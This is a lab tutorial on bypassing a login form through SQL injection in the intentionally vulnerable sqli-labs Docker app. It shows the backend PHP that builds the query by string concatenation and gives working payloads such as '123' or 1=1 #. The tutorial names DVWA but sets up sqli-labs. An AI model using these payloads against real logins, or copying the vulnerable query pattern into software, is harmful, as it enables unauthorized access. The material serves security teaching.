Exploiting SQL Injection to Bypass Authentication
In this lab, we'll delve deeper into SQL injection vulnerabilities. Our focus will be on how to exploit these vulnerabilities to circumvent login authentication, a technique often referred to as the "universal password" attack.
Preparing the Lab Environment
To kick things off, we'll need to prepare our lab environment. We'll use the Damn Vulnerable Web Application (DVWA) - a PHP/MySQL web application designed to be intentionally insecure, making it an ideal learning tool for understanding web application security.
-
Download the sqli-labs Docker Image: The sqli-labs Docker image is available for download on Docker Hub. Use the following command in your terminal to pull it:
docker pull acgpiano/sqli-labs
-
Launch the sqli-labs Docker Container: After downloading the image, run it using the command below:
docker run -it -d --name sqli-labs -p 80:80 -p 13306:3306 acgpiano/sqli-labs
This command initiates a new container and maps port 80 and 3306 in the container to port 80 and 13306 on your host machine, respectively.
By following these steps, you've successfully set up the necessary lab environment.
After the setup is complete, open Firefox and type in http://localhost
into the address bar.
If this is your first time visiting http://localhost
, please click on Setup/reset Database for lab
to prepare the lab and then refresh the webpage.
Identifying SQL Injection
You should now see a simple login page when you click on Less-11. Try entering an arbitrary username 123
and password 123
.
The error page will inform you "Invalid username or password."
Deciphering the Backend Code
Let's examine the backend code responsible for the authentication process:
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
....
}
The actual SQL query that gets executed is:
SELECT * FROM users WHERE username='123' AND password='123' LIMIT 0,1
This query is simple to understand: if it returns a row where both the username
and password
match, then the login is successful.
Exploiting the Vulnerability
Building on the knowledge from the previous lab, let's attempt to input the following payload:
Username: 123' or 1=1 #
Password: 123' or 1=1 #
Interestingly, this allows us to log in successfully! The reason for this is that the actual SQL query that gets executed is:
SELECT * FROM users WHERE username='123' or 1=1 #' AND password='123' or 1=1 #'
In MySQL, the #
symbol is used to comment out the rest of the line, so the query effectively becomes:
SELECT * FROM users WHERE username='123' or 1=1
Given that the condition or 1=1
is always true, the query will always return a result, leading to a successful login.
We can also experiment with a variation that doesn't use the comment symbol:
Username: 123' or '1'='1
Password: 123' or '1'='1
The SQL query that gets executed is then:
SELECT * FROM users WHERE username='123' or '1'='1' AND password='123' or '1'='1'
In this case, the two or
conditions ensure that the and
condition between them is always true, leading to a successful login.
Conclusion
As demonstrated above, there are numerous techniques that can be used to exploit SQL injection vulnerabilities and bypass authentication. Feel free to explore and experiment with different payloads. The goal here is to understand these vulnerabilities so that you can better protect your own applications from them. Happy ethical hacking!